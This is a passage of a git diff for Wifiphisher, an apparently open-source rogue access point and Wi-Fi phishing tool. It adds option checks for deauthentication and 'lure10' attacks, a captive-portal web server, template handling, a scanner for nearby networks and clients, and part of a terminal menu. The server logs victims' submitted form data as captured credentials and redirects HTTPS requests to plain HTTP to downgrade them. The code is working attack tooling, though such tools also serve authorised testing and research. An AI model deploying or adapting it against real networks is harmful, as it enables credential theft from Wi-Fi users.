--apinterface (-aI) and --extensionsinterface (-eI)' + '(or --noextensions (-nE)) are used in conjuction.') + + if args.noextensions and args.extensionsinterface: + sys.exit('[' + constants.R + '-' + constants.W + + '] --noextensions (-nE) and --extensionsinterface (-eI)' + 'cannot work together.') + + if args.lure10_exploit and args.noextensions: + sys.exit('[' + constants.R + '-' + constants.W + + '] --lure10-exploit (-lE) and --noextensions (-eJ)' + 'cannot work together.') + + if args.lure10_exploit and not os.path.isfile(constants.LOCS_DIR + + args.lure10_exploit): + sys.exit('[' + constants.R + '-' + constants.W + + '] Lure10 capture does not exist. Listing directory' + 'of captures: ' + str(os.listdir(constants.LOCS_DIR))) + + if (args.mac_ap_interface and args.no_mac_randomization) or \ + (args.mac_extensions_interface and args.no_mac_randomization): + sys.exit( + '[' + constants.R + '-' + constants.W + + '] --no-mac-randomization (-iNM) cannot work together with' + '--mac-ap-interface or --mac-extensions-interface (-iDM)') + + if args.deauth_essid and args.noextensions: + sys.exit( + '[' + constants.R + '-' + constants.W + + '] --deauth-essid (-dE) cannot work together with' + '--noextension (-nE)') + + # if args.deauth_essid is set we need the second card to + # do the frequency hopping + if args.deauth_essid and self._is_one_phy_interface: + print('[' + constants.R + '!' + constants.W + + '] Only one card was found. Wifiphisher will deauth only ' + 'on the target AP channel') + + # args.wAI should be used with args.wE + if args.wpspbc_assoc_interface and not args.wps_pbc: + sys.exit( + '[' + constants.R + '!' + constants.W + + '] --wpspbc-assoc-interface (-wAI) requires --wps-pbc (-wP) option.' + ) + + def set_opmode(self, args, network_manager): + """ + Sets the operation mode. + + :param self: An OpMode object + :param args: An argparse.Namespace object + :param network_manager: A NetworkManager object + :type self: OpMode + :type args: argparse.Namespace + :type network_manager: NetworkManager + :return: None + :rtype: None + + ..note: An operation mode resembles how the tool will best leverage + the given resources. + + Modes of operation + 1) AP and Extensions 0x1 + 2 cards, 2 interfaces + i) AP, ii) EM + Channel hopping: Enabled + 2) AP, Extensions and Internet 0x2 + 3 cards, 3 interfaces + i) AP, ii) EM iii) Internet + Channel hopping: Enabled + 3) AP-only and Internet 0x3 + 2 cards, 2 interfaces + i) AP, ii) Internet + 4) AP-only 0x4 + 1 card, 1 interface + i) AP + 5) AP and Extensions 0x5 + 1 card, 2 interfaces + (1 card w/ vif support AP/Monitor) + i) AP, ii) Extensions + Channel hopping: Disabled + !!Most common mode!! + 6) AP and Extensions and Internet 0x6 + 2 cards, 3 interfaces + Channel hopping: Disabled + (Internet and 1 card w/ 1 vif support AP/Monitor) + i) AP, ii) Extensions, iii) Internet + 7) Advanced and WPS association 0x7 + 3 cards, 3 interfaces + i) AP, ii) Extensions (Monitor), iii) Extensions (Managed) + 8) Advanced and WPS association w/ 1 vif support AP/Monitor 0x8 + 2 cards, 3 interfaces + i) AP, ii) Extensions (Monitor), iii) Extensions (Managed) + """ + + if not args.internetinterface and not args.noextensions: + if not self._is_one_phy_interface: + # check if there is WPS association interface + if args.wpspbc_assoc_interface: + self.op_mode = constants.OP_MODE7 + logger.info("Starting OP_MODE7 (0x7)") + else: + self.op_mode = constants.OP_MODE1 + logger.info("Starting OP_MODE1 (0x1)") + else: + if self._perfect_card is not None: + network_manager.add_virtual_interface(self._perfect_card) + # check if there is WPS association interface + if args.wpspbc_assoc_interface: + self.op_mode = constants.OP_MODE8 + logger.info("Starting OP_MODE8 (0x8)") + else: + self.op_mode = constants.OP_MODE5 + logger.info("Starting OP_MODE5 (0x5)") + if args.internetinterface and not args.noextensions: + if not self._is_one_phy_interface: + self.op_mode = constants.OP_MODE2 + logger.info("Starting OP_MODE2 (0x2)") + else: + if self._perfect_card is not None: + network_manager.add_virtual_interface(self._perfect_card) + self.op_mode = constants.OP_MODE6 + logger.info("Starting OP_MODE6 (0x6)") + + if args.internetinterface and args.noextensions: + self.op_mode = constants.OP_MODE3 + logger.info("Starting OP_MODE3 (0x3)") + if args.noextensions and not args.internetinterface: + self.op_mode = constants.OP_MODE4 + logger.info("Starting OP_MODE4 (0x4)") + + def internet_sharing_enabled(self): + """ + :param self: An OpMode object + :type self: OpMode + :return: True if we are operating in a mode that shares Internet + access. + :rtype: bool + """ + + return self.op_mode in [constants.OP_MODE2, constants.OP_MODE3] + + def extensions_enabled(self): + """ + :param self: An OpModeManager object + :type self: OpModeManager + :return: True if we are loading extensions + :rtype: bool + """ + + return self.op_mode in [ + constants.OP_MODE1, constants.OP_MODE2, constants.OP_MODE5, + constants.OP_MODE6, constants.OP_MODE7, constants.OP_MODE8 + ] + + def freq_hopping_enabled(self): + """ + :param self: An OpMode object + :type self: OpMode + :return: True if we are separating the wireless cards + for extensions and launching AP. + :rtype: bool + ..note: MODE5 and MODE6 only use one card to do deauth and + lunch ap so it is not allowed to do frequency hopping. + """ + + return self.op_mode in [ + constants.OP_MODE1, constants.OP_MODE2, constants.OP_MODE7 + ] + + def assoc_enabled(self): + """ + :param self: An OpMode object + :type self: OpMode + :return: True if we are using managed Extensions(that associate to WLANs) + :rtype: bool + """ + return self.op_mode in [constants.OP_MODE7, constants.OP_MODE8] + + +def validate_ap_interface(interface): + """ + Validate the given interface + + :param interface: Name of an interface + :type interface: str + :return: the ap interface + :rtype: str + :raises: argparse.ArgumentTypeError in case of invalid interface + """ + + if not(pyric.pyw.iswireless(interface) and \ + pyric.pyw.isinterface(interface) and \ + interfaces.does_have_mode(interface, "AP")): + + raise argparse.ArgumentTypeError("Provided interface ({})" + " either does not exist or" + " does not support AP mode" \ + .format(interface)) + return interface diff --git a/wifiphisher/common/phishinghttp.py b/wifiphisher/common/phishinghttp.py new file mode 100644 index 0000000..a1a7b7b --- /dev/null +++ b/wifiphisher/common/phishinghttp.py @@ -0,0 +1,180 @@ +import logging +import json +from tornado.escape import json_decode +import tornado.ioloop +import tornado.web +import os.path +import wifiphisher.common.uimethods as uimethods +import wifiphisher.common.extensions as extensions +import wifiphisher.common.constants as constants + +hn = logging.NullHandler() +hn.setLevel(logging.DEBUG) +logging.getLogger('tornado.access').disabled = True +logging.getLogger('tornado.general').disabled = True + +template = False +terminate = False +creds = [] +logger = logging.getLogger(__name__) + + +class DowngradeToHTTP(tornado.web.RequestHandler): + def get(self): + self.redirect("http://10.0.0.1:8080/") + + +class BackendHandler(tornado.web.RequestHandler): + """ + Validate the POST requests from client by the uimethods + """ + + def initialize(self, em): + """ + :param self: A tornado.web.RequestHandler object + :param em: An extension manager object + :type self: tornado.web.RequestHandler + :type em: ExtensionManager + :return: None + :rtype: None + """ + + self.em = em + + def post(self): + """ + :param self: A tornado.web.RequestHandler object + :type self: tornado.web.RequestHandler + :return: None + :rtype: None + ..note: override the post method to do the verification + """ + + json_obj = json_decode(self.request.body) + response_to_send = {} + backend_methods = self.em.get_backend_funcs() + # loop all the required verification methods + for func_name in list(json_obj.keys()): + if func_name in backend_methods: + # get the corresponding callback + callback = getattr(backend_methods[func_name], func_name) + # fire the corresponding varification method + response_to_send[func_name] = callback(json_obj[func_name]) + else: + response_to_send[func_name] = "NotFound" + + self.write(json.dumps(response_to_send)) + + +class CaptivePortalHandler(tornado.web.RequestHandler): + def get(self): + """ + Override the get method + + :param self: A tornado.web.RequestHandler object + :type self: tornado.web.RequestHandler + :return: None + :rtype: None + """ + + requested_file = self.request.path[1:] + template_directory = template.get_path() + + # choose the correct file to serve + if os.path.isfile(template_directory + requested_file): + render_file = requested_file + else: + render_file = "index.html" + + # load the file + file_path = template_directory + render_file + self.render(file_path, **template.get_context()) + + log_file_path = "/tmp/wifiphisher-webserver.tmp" + with open(log_file_path, "a+") as log_file: + log_file.write("GET request from {0} for {1}\n".format( + self.request.remote_ip, self.request.full_url())) + # record the GET request in the logging file + logger.info("GET request from %s for %s", self.request.remote_ip, + self.request.full_url()) + + def post(self): + """ + Override the post method + + :param self: A tornado.web.RequestHandler object + :type self: tornado.web.RequestHandler + :return: None + :rtype: None + ..note: we only serve the Content-Type which starts with + "application/x-www-form-urlencoded" as a valid post request + """ + + global terminate + + # check the http POST request header contains the Content-Type + try: + content_type = self.request.headers["Content-Type"] + except KeyError: + return + + # check if this is a valid phishing post request + if content_type.startswith(constants.VALID_POST_CONTENT_TYPE): + post_data = tornado.escape.url_unescape(self.request.body) + # log the data + log_file_path = "/tmp/wifiphisher-webserver.tmp" + with open(log_file_path, "a+") as log_file: + log_file.write("POST request from {0} with {1}\n".format( + self.request.remote_ip, post_data)) + # record the post requests in the logging file + logger.info("POST request from %s with %s", + self.request.remote_ip, post_data) + + creds.append(post_data) + terminate = True + + requested_file = self.request.path[1:] + template_directory = template.get_path() + + # choose the correct file to serve + if os.path.isfile(template_directory + requested_file): + render_file = requested_file + else: + render_file = "index.html" + + # load the file + file_path = template_directory + render_file + self.render(file_path, **template.get_context()) + + +def runHTTPServer(ip, port, ssl_port, t, em): + global template + template = t + + # Get all the UI funcs and set them to uimethods module + for f in em.get_ui_funcs(): + setattr(uimethods, f.__name__, f) + + app = tornado.web.Application( + [ + (r"/backend/.*", BackendHandler, { + "em": em + }), + (r"/.*", CaptivePortalHandler), + ], + template_path=template.get_path(), + static_path=template.get_path_static(), + compiled_template_cache=False, + ui_methods=uimethods) + app.listen(port, address=ip) + + ssl_app = tornado.web.Application([(r"/.*", DowngradeToHTTP)]) + https_server = tornado.httpserver.HTTPServer( + ssl_app, + ssl_options={ + "certfile": constants.PEM, + "keyfile": constants.PEM, + }) + https_server.listen(ssl_port, address=ip) + + tornado.ioloop.IOLoop.instance().start() diff --git a/wifiphisher/phishingpage.py b/wifiphisher/common/phishingpage.py similarity index 51% rename from wifiphisher/phishingpage.py rename to wifiphisher/common/phishingpage.py index 683d4fc..6912884 100644 --- a/wifiphisher/phishingpage.py +++ b/wifiphisher/common/phishingpage.py @@ -4,11 +4,10 @@ Wifiphisher.py """ import os -from constants import * +import ConfigParser from shutil import copyfile +import wifiphisher.common.constants as constants -import ConfigParser -from jinja2 import Environment, FileSystemLoader def config_section_map(config_file, section): """ @@ -26,10 +25,11 @@ def config_section_map(config_file, section): for option in options: try: dict1[option] = config.get(section, option) - except: + except KeyError: dict1[option] = None return dict1 + class InvalidTemplate(Exception): """ Exception class to raise in case of a invalid template """ @@ -46,7 +46,7 @@ class PhishingTemplate(object): Construct object. :param self: A PhishingTemplate object - :type self: PhishingScenario + :type self: PhishingTemplate :return: None :rtype: None .. todo:: Maybe add a category field @@ -54,20 +54,89 @@ class PhishingTemplate(object): # setup all the variables - config_path = os.path.join(PHISHING_PAGES_DIR, name, 'config.ini') + config_path = os.path.join(constants.PHISHING_PAGES_DIR, name, + 'config.ini') info = config_section_map(config_path, 'info') self._name = name self._display_name = info['name'] self._description = info['description'] self._payload = False + self._config_path = os.path.join(constants.PHISHING_PAGES_DIR, + self._name, 'config.ini') + if 'payloadpath' in info: + self._payload = info['payloadpath'] + + # TODO: Use os.path.join instead + self._path = constants.PHISHING_PAGES_DIR +\ + self._name.lower() + "/" + constants.SCENARIO_HTML_DIR + self._path_static = constants.PHISHING_PAGES_DIR +\ + self._name.lower() + "/" + constants.SCENARIO_HTML_DIR + "/static/" + + self._context = config_section_map(config_path, 'context') + self._extra_files = [] + + @staticmethod + def update_config_file(payload_filename, config_path): + """ + Update the configuration file + + :param self: A PhishingTemplate object + :param payload_filename: the filename for the payload + :param config_path: the file path for the configuration + :type self: PhishingTemplate + :type payload_filename: str + :type config_path: str + :return: None + :rtype: None + """ + + original_config = ConfigParser.ConfigParser() + original_config.read(config_path) + + # new config file object + config = ConfigParser.RawConfigParser() + + # update the info section + config.add_section('info') + options = original_config.options('info') + for option in options: + if option != "payloadpath": + config.set('info', option, original_config.get('info', option)) + else: + dirname = os.path.dirname( + original_config.get('info', 'payloadpath')) + filepath = os.path.join(dirname, payload_filename) + config.set('info', option, filepath) + + # update the context section + config.add_section('context') + dirname = os.path.dirname( + original_config.get('context', 'update_path')) + filepath = os.path.join(dirname, payload_filename) + config.set('context', 'update_path', filepath) + with open(config_path, 'wb') as configfile: + config.write(configfile) + + def update_payload_path(self, filename): + """ + :param self: A PhishingTemplate object + :filename: the filename for the payload + :type self: PhishingTemplate + :type filename: str + :return: None + :rtype: None + """ + + config_path = self._config_path + self.update_config_file(filename, config_path) + # update payload attribute + info = config_section_map(config_path, 'info') + self._payload = False if 'payloadpath' in info: self._payload = info['payloadpath'] - - self._path = PHISHING_PAGES_DIR + self._name.lower() + "/" self._context = config_section_map(config_path, 'context') - self._env = Environment(loader=FileSystemLoader(self._path)) self._extra_files = [] def merge_context(self, context): @@ -78,6 +147,18 @@ class PhishingTemplate(object): context.update(self._context) self._context = context + def get_context(self): + """ + Return the context of the template. + + :param self: A PhishingTemplate object + :type self: PhishingTemplate + :return: the context of the template + :rtype: dict + """ + + return self._context + def get_display_name(self): """ Return the display name of the template. @@ -96,7 +177,7 @@ class PhishingTemplate(object): :param self: A PhishingTemplate object :type self: PhishingTemplate - :return: The path of the template + :return: The path of the template :rtype: bool """ @@ -108,7 +189,7 @@ class PhishingTemplate(object): :param self: A PhishingTemplate object :type self: PhishingTemplate - :return: boolean if it needs payload + :return: boolean if it needs payload :rtype: bool """ @@ -140,9 +221,22 @@ class PhishingTemplate(object): return self._path + def get_path_static(self): + """ + Return the path of the static template files. + JS, CSS, Image files lie there. + + :param self: A PhishingTemplate object + :type self: PhishingTemplate + :return: the path of static template files + :rtype: str + """ + + return self._path_static + def use_file(self, path): """ - Copies a file in the filesystem to the path + Copies a file in the filesystem to the path of the template files. :param self: A PhishingTemplate object @@ -155,8 +249,8 @@ class PhishingTemplate(object): if path is not None and os.path.isfile(path): filename = os.path.basename(path) - copyfile(path, self.get_path() + filename) - self._extra_files.append(self.get_path() + filename) + copyfile(path, self.get_path_static() + filename) + self._extra_files.append(self.get_path_static() + filename) return filename def remove_extra_files(self): @@ -169,13 +263,9 @@ class PhishingTemplate(object): :rtype: None """ - for f in self._extra_files: - if os.path.isfile(f): - os.remove(f) - - def render(self, path): - t = self._env.get_template(path) - return t.render(self._context) + for filename in self._extra_files: + if os.path.isfile(filename): + os.remove(filename) def __str__(self): """ @@ -187,7 +277,7 @@ class PhishingTemplate(object): :rtype: str """ - return (self._display_name + "\n\t" + self._description + "\n") + return self._display_name + "\n\t" + self._description + "\n" class TemplateManager(object): @@ -204,9 +294,9 @@ class TemplateManager(object): """ # setup the templates - self._template_directory = PHISHING_PAGES_DIR + self._template_directory = constants.PHISHING_PAGES_DIR - page_dirs = os.listdir(PHISHING_PAGES_DIR) + page_dirs = os.listdir(constants.PHISHING_PAGES_DIR) self._templates = {} @@ -229,6 +319,31 @@ class TemplateManager(object): return self._templates + def is_valid_template(self, name): + """ + Validate the template + :param self: A TemplateManager object + :param name: A directory name + :type self: A TemplateManager object + :return: tuple of is_valid and output string + :rtype: tuple + """ + + dir_path = os.path.join(self._template_directory, name) + tdir = os.listdir(os.path.join(dir_path, constants.SCENARIO_HTML_DIR)) + # Check HTML files... + for tfile in tdir: + if tfile.endswith(".html"): + html = True + break + if not html: + return False, "No HTML files found in: " + # check config file... + if not "config.ini" in os.listdir(dir_path): + return False, "Configuration file not found in: " + # and if we found them all return true and template directory name + return True, name + def find_user_templates(self): """ Return all the user's templates available. @@ -237,7 +352,6 @@ class TemplateManager(object): :type self: TemplateManager :return: all the local templates available :rtype: list - .. todo:: check to make sure directory contains HTML files """ # a list to store file names in @@ -246,10 +360,18 @@ class TemplateManager(object): # loop through the directory content for name in os.listdir(self._template_directory): # check to see if it is a directory and not in the database - if (os.path.isdir(os.path.join(self._template_directory, name)) and - name not in self._templates): - # add it to the list - local_templates.append(name) + if (os.path.isdir(os.path.join(self._template_directory, name)) + and name not in self._templates): + # check template + is_valid, output = self.is_valid_template(name) + # if template successfully validated, then... + if is_valid: + # just add it to the list + local_templates.append(name) + else: + # TODO: We should throw an exception instead here. + # but if not then display which problem occurred + print "[" + constants.R + "!" + constants.W + "] " + output + name return local_templates @@ -271,3 +393,16 @@ class TemplateManager(object): # create a template object and add it to the database local_template = PhishingTemplate(template) self._templates[template] = local_template + + def on_exit(self): + """ + Delete any extra files on exit + + :param self: A TemplateManager object + :type: self: TemplateManager + :return: None + :rtype: None + """ + + for templ_obj in self._templates.values(): + templ_obj.remove_extra_files() diff --git a/wifiphisher/common/recon.py b/wifiphisher/common/recon.py new file mode 100644 index 0000000..9ae934b --- /dev/null +++ b/wifiphisher/common/recon.py @@ -0,0 +1,522 @@ +""" +This module handles all the operations regarding locating all the +available access points +""" + +from __future__ import division +import threading +import time +import logging +import scapy.layers.dot11 as dot11 +import wifiphisher.common.constants as constants + +logger = logging.getLogger(__name__) + + +class AccessPoint(object): + """ This class represents an access point """ + + def __init__(self, ssid, bssid, channel, encryption, capture_file=False): + """ + Setup the class with all the given arguments + + :param self: An AccessPoint object + :param ssid: The name of the access point + :param bssid: The MAC address of the access point + :param channel: The channel number of the access point + :param encryption: The encryption type of the access point + :type self: AccessPoint + :type ssid: string + :type bssid: string + :type channel: string + :type encryption: string + """ + + self._name = ssid + self._mac_address = bssid + self._channel = channel + self._encryption = encryption + self._signal_strength = None + self._clients = set() + + if capture_file: + with open(capture_file, "a") as f: + f.write(bssid + " " + ssid + "\n") + + def get_name(self): + """ + Return the name(ESSID) of the access point + + :param self: An AccessPoint object + :type self: AccessPoint + :return: Name of the access point + :rtype: string + """ + + return self._name + + def get_mac_address(self): + """ + Return the MAC address(BSSID) of the access point + + :param self: An AccessPoint object + :type self: AccessPoint + :return: MAC address of the access point + :rtype: string + """ + + return self._mac_address + + def get_channel(self): + """ + Return the channel of the access point + + :param self: An AccessPoint object + :type self: AccessPoint + :return: Channel of the access point + :rtype: string + """ + + return self._channel + + def get_encryption(self): + """ + Return the encryption type of the access point + + :param self: An AccessPoint object + :type self: AccessPoint + :return: Encryption type of the access point + :rtype: string + """ + + return self._encryption + + def get_signal_strength(self): + """ + Return the access point's signal strength + + :param self: An AccessPoint object + :type self: AccessPoint + :return: Access point's singnal strength + :rtype: string + """ + + return self._signal_strength + + def set_signal_strength(self, power): + """ + Set the access point's sinnal strength + + :param self: An AccessPoint object + :param power: The signal strength of access point + :type self: AccessPoint + :type power: string + :return: None + :rtype: None + """ + + self._signal_strength = power + + def add_client(self, client): + """ + Adds the client if client is new + + :param self: An AccessPoint object + :param client: A client's MAC address + :type self: AccessPoint + :type client: string + :return: None + :rtype: None + """ + + self._clients.add(client) + + def get_number_connected_clients(self): + """ + Return the number of connected clients to get access point + + :param self: An AccessPoint object + :type self: AccessPoint + :return: Number of connected clients + :rtype: int + """ + + return len(self._clients) + + +class AccessPointFinder(object): + """ This class finds all the available access point """ + + def __init__(self, ap_interface, network_manager): + """ + Setup the class with all the given arguments + + :param self: An AccessPointFinder object + :param ap_interface: A NetworkAdapter object + :param network_manager: A NetworkManager object + :type self: AccessPointFinder + :type ap_interface: str + :type: network_manager: NetworkManager + :return: None + :rtype: None + """ + + self._interface = ap_interface + self._observed_access_points = list() + self._capture_file = False + self._should_continue = True + self._hidden_networks = list() + self._sniff_packets_thread = None + self._channel_hop_thread = None + self._network_manager = network_manager + + # filter used to remove non-client addresses + self._non_client_addresses = constants.NON_CLIENT_ADDRESSES + + def _process_packets(self, packet): + """ + Process a RadioTap packet to find access points + + :param self: An AccessPointFinder object + :param packet: A scapy.layers.RadioTap object + :type self: AccessPointFinder + :type packet: scapy.layers.RadioTap + :return: None + :rtype: None + """ + + # check the type of the packet + if packet.haslayer(dot11.Dot11Beacon): + # check if the packet has info field to prevent processing + # malform beacon + if hasattr(packet.payload, 'info'): + # if the packet has no info (hidden ap) add MAC address of it + # to the list + # note \00 used for when ap is hidden and shows only the length + # of the name. see issue #506 + if not packet.info or "\00" in packet.info: + if packet.addr3 not in self._hidden_networks: + self._hidden_networks.append(packet.addr3) + # otherwise get it's name and encryption + else: + self._create_ap_with_info(packet) + + # if packet is a probe response and it's hidden add the + # access point + elif packet.haslayer(dot11.Dot11ProbeResp): + if packet.addr3 in self._hidden_networks: + self._create_ap_with_info(packet) + + # check to see if it is a client of access points + elif packet.haslayer(dot11.Dot11): + self._find_clients(packet) + + def _parse_rssi(self, packet): + """ + Parse the rssi info from the packet + + :param self: An AccessPointFinder object + :param packet: A scapy.layers.RadioTap object + :type self: AccessPointFinder + :type packet: scapy.layers.RadioTap + :return: rssi + :rtype: int + """ + tmp = ord(packet.notdecoded[-4:-3]) + tmp1 = ord(packet.notdecoded[-2:-1]) + rssi = -(256 - max(tmp, tmp1)) + return rssi + + def _create_ap_with_info(self, packet): + """ + Create and add an access point using the extracted information + + :param self: An AccessPointFinder object + :param packet: A scapy.layers.RadioTap object + :type self: AccessPointFinder + :type packet: scapy.layers.RadioTap + :return: None + :rtype: None + :note: return when the frame is malformed or the channel is not + in the 2G channel list + """ + + elt_section = packet[dot11.Dot11Elt] + try: + channel = str(ord(packet[dot11.Dot11Elt][2].info)) + if int(channel) not in constants.ALL_2G_CHANNELS: + return + except (TypeError, IndexError): + return + + mac_address = packet.addr3 + name = None + encryption_type = None + non_decodable_name = "" + + # find the signal strength + rssi = self._parse_rssi(packet) + new_signal_strength = self._calculate_signal_strength(rssi) + + # get the name of the access point + # if the name is no utf8 compatible use pre set name + try: + name = elt_section.info.decode("utf8") + except UnicodeDecodeError: + name = non_decodable_name + + # just update signal strength in case of discovered + # access point + for access_point in self._observed_access_points: + if mac_address == access_point.get_mac_address(): + # find the current and calculate the difference + current_signal_strength = access_point.get_signal_strength() + signal_strength_difference = new_signal_strength -\ + current_signal_strength + + # update signal strength if more than 5% difference + if signal_strength_difference > 5: + access_point.set_signal_strength(new_signal_strength) + + return None + + # get encryption type + encryption_type = self._find_encryption_type(packet) + + # with all the information gathered create and add the + # access point + access_point = AccessPoint( + name, + mac_address, + channel, + encryption_type, + capture_file=self._capture_file) + access_point.set_signal_strength(new_signal_strength) + self._observed_access_points.append(access_point) + + def _find_encryption_type(self, packet): + """ + Return the encryption type of the access point + + :param self: An AccessPointFinder object + :param packet: A scapy.layers.RadioTap object + :type self: AccessPointFinder + :type packet: scapy.layers.RadioTap + :return: encryption type of the access point + :rtype: string + .. note: Possible return values are WPA2, WPA, WEP and OPEN + """ + + encryption_info = packet.sprintf("%Dot11Beacon.cap%") + elt_section = packet[dot11.Dot11Elt] + encryption_type = None + is_wps = False + + # extract information from packet + while isinstance(elt_section, dot11.Dot11Elt): + # check if encryption type is WPA2 + if elt_section.ID == 48: + encryption_type = "WPA2" + + # check if encryption type is WPA + elif elt_section.ID == 221 and\ + elt_section.info.startswith("\x00P\xf2\x01\x01\x00"): + encryption_type = "WPA" + # check if WPS IE exists + if elt_section.ID == 221 and\ + elt_section.info.startswith("\x00P\xf2\x04"): + is_wps = True + # break if wps and security is found + if encryption_type and is_wps: + break + + # break down the packet + elt_section = elt_section.payload + + # check to see if encryption type is either WEP or OPEN + if not encryption_type: + if "privacy" in encryption_info: + encryption_type = "WEP" + else: + encryption_type = "OPEN" + + if encryption_type != "WEP" and is_wps: + encryption_type += "/WPS" + + return encryption_type + + def _sniff_packets(self): + """ + Sniff packets one at a time until otherwise set + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: None + :rtype: None + """ + + # continue to find clients until otherwise told + while self._should_continue: + dot11.sniff( + iface=self._interface, + prn=self._process_packets, + count=1, + store=0) + + def capture_aps(self): + self._capture_file = constants.LOCS_DIR + "area_" +\ + time.strftime("%Y%m%d_%H%M%S") + logger.info("Create lure10-capture file %s", self._capture_file) + + def find_all_access_points(self): + """ + Find all the visible and hidden access points + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: An tuple of sniff and channel hop threads + :rtype: tuple + """ + + # start finding access points in a separate thread + self._sniff_packets_thread = threading.Thread( + target=self._sniff_packets) + self._sniff_packets_thread.start() + + # start channel hopping in a separate thread + self._channel_hop_thread = threading.Thread(target=self._channel_hop) + self._channel_hop_thread.start() + + def stop_finding_access_points(self): + """ + Stops looking for access points. + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: None + :rtype: None + """ + + self._should_continue = False + # wait for 10 second to join the threads + self._channel_hop_thread.join(10) + self._sniff_packets_thread.join(10) + + def get_all_access_points(self): + """ + Return a list of all access points + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: list of access points + :rtype: list + .. note: A list of AccessPoint objects will be returned + """ + + return self._observed_access_points + + def _channel_hop(self): + """ + Change the interface's channel every three seconds + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: None + :rtype: None + .. note: The channel range is between 1 to 13 + """ + + # if the stop flag not set, change the channel + while self._should_continue: + for channel in constants.ALL_2G_CHANNELS: + # added this check to reduce shutdown time + if self._should_continue: + self._network_manager.set_interface_channel( + self._interface, channel) + time.sleep(3) + else: + break + + def _calculate_signal_strength(self, rssi): + """ + calculate the signal strength of access point + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: Signal strength of access point + :rtype: int + """ + + # calculate signal strength based on rssi value + if rssi <= -100: + signal_strength = 0 + elif rssi >= -50: + signal_strength = 100 + else: + signal_strength = 2 * (rssi + 100) + + return signal_strength + + def _find_clients(self, packet): + """ + Find and add if a client is discovered + + :param self: An AccessPointFinder object + :param packet: A scapy.layers.RadioTap object + :type self: AccessPointFinder + :type packet: scapy.layers.RadioTap + :return: None + :rtype: None + """ + + # find sender and receiver + receiver = packet.addr1 + sender = packet.addr2 + + # only continue if both addresses are available + if sender and receiver: + # find sender and receiver first half of MAC address + receiver_identifier = receiver[:8] + sender_identifier = sender[:8] + + else: + return None + + # if a valid address is provided + if (receiver_identifier, sender_identifier) not in\ + self._non_client_addresses: + + # if discovered access point is either sending or receving + # add client if it's mac address is not in the MAC filter + for access_point in self._observed_access_points: + # get the access point MAC address + access_point_mac = access_point.get_mac_address() + + # in case access point is the reciever + # add sender as client + if access_point_mac == receiver: + access_point.add_client(sender) + + # in case access point is the sender add reciever + # as client + elif access_point_mac == sender: + access_point.add_client(receiver) + + def get_sorted_access_points(self): + """ + Return all access points sorted based on signal strength + + :param self: An AccessPointFinder object + :type self: AccessPointFinder + :return: None + :rtype: None + """ + + # sort access points in descending order based on + # signal strength + sorted_access_points = sorted( + self._observed_access_points, + key=lambda ap: ap.get_signal_strength(), + reverse=True) + + return sorted_access_points diff --git a/wifiphisher/common/tui.py b/wifiphisher/common/tui.py new file mode 100644 index 0000000..4be1e2f --- /dev/null +++ b/wifiphisher/common/tui.py @@ -0,0 +1,990 @@ +""" +This module was made to handle the curses sections for the ap selection, +template selection and the main window +""" + +import os +import time +import re +from collections import namedtuple +from subprocess import check_output +import curses +import wifiphisher.common.constants as constants +import wifiphisher.common.recon as recon +import wifiphisher.common.phishingpage as phishingpage + +# information for the main terminal +MainInfo = namedtuple("MainInfo", constants.MAIN_TUI_ATTRS) +# information for the AP selection terminal +ApSelInfo = namedtuple("ApSelInfo", constants.AP_SEL_ATTRS) + + +class TuiTemplateSelection(object): + """ + TUI to do Template selection + """ + + def __init__(self): + """ + Construct the class + :param self: A TuiTemplateSelection object + :type self: TuiTemplateSelection + :return None + :rtype None + """ + + self.green_text = None + # heightlight the phishing scenario + self.heightlight_text = None + # record current hightlight template number + self.heightlight_number = 0 + # store the current page number + self.page_number = 0 + # store the phishing contents of each scenario + self.sections = list() + # map the section to page number + self.sec_page_map = {} + # the window size for (y, x) + self.dimension = [0, 0] + + def get_sections(self, template_names, templates): + """ + Get all the phishing scenario contents and store them + in a list + :param self: A TuiTemplateSelection object + :param template_names: A list of string + :param templates: A dictionary + :type self: TuiTemplateSelection + :type template_names: list + :type templates: dict + :return None + :rtype: None + """ + + for name in template_names: + phishing_contents = " - " + str(templates[name]) + # total line in the phishing contents + lines = phishing_contents.splitlines() + # split the line into 15 words per shorter line + short_lines = [] + for line in lines: + for short_line in line_splitter(15, line): + short_lines.append(short_line) + self.sections.append(short_lines) + + def update_sec_page_map(self, last_row): + """ + Update the page number for each section + :param self: A TuiTemplateSelection object + :param last_row: The last row of the window + :type self: TuiTemplateSelection + :type last_row: int + :return: None + :rtype: None + """ + + page_number = 0 + row_number = 0 + self.sec_page_map = {} + for number, section in enumerate(self.sections): + row_number += len(section) + if row_number > last_row: + row_number = 0 + page_number += 1 + self.sec_page_map[number] = page_number + + def gather_info(self, template_argument, template_manager): + """ + Select a template based on whether the template argument + is set or not. If the template argument is not set, it will + interfactively ask user for a template + :param self: A TuiTemplateSelection object + :type self: TuiTemplateSelection + :param template_argument: The template argument which might + have been entered by the user + :type template_argument: str + :param template_manager: A TemplateManager object + :type template_manager: TemplateManager + :return A PhishingTemplate object + :rtype: PhishingTemplagte + :raises InvalidTemplate in case the template argument entered + by the user is not available. + """ + # get all available templates + templates = template_manager.get_templates() + + # get all the templates names for display + template_names = list(templates.keys()) + + # get all the section contents + self.get_sections(template_names, templates) + + # check if the template argument is set and is correct + if template_argument and template_argument in templates: + # return the template name + return templates[template_argument] + elif template_argument and template_argument not in templates: + # in case of an invalid template + raise phishingpage.InvalidTemplate + else: + # prompt interactive phishing scenarios to let user select one + template = curses.wrapper(self.display_info, templates, + template_names) + return template + + def key_movement(self, screen, number_of_sections, key): + """ + Check for key movement and hightlight the corresponding + phishing scenario + + :param self: A TuiTemplateSelection object + :param number_of_sections: Number of templates + :param key: The char user keying + :type self: TuiTemplateSelection + :type number_of_sections: int + :type key: str + :return: None + :rtype: None + """ + + if key == curses.KEY_DOWN: + if self.heightlight_number < number_of_sections - 1: + page_number = self.sec_page_map[self.heightlight_number + 1] + if page_number > self.page_number: + self.page_number += 1 + screen.erase() + self.heightlight_number += 1 + elif key == curses.KEY_UP: + if self.heightlight_number > 0: + page_number = self.sec_page_map[self.heightlight_number - 1] + if page_number < self.page_number: + self.page_number -= 1 + screen.erase() + self.heightlight_number -= 1 + + def display_phishing_scenarios(self, screen): + """ + Display the phishing scenarios 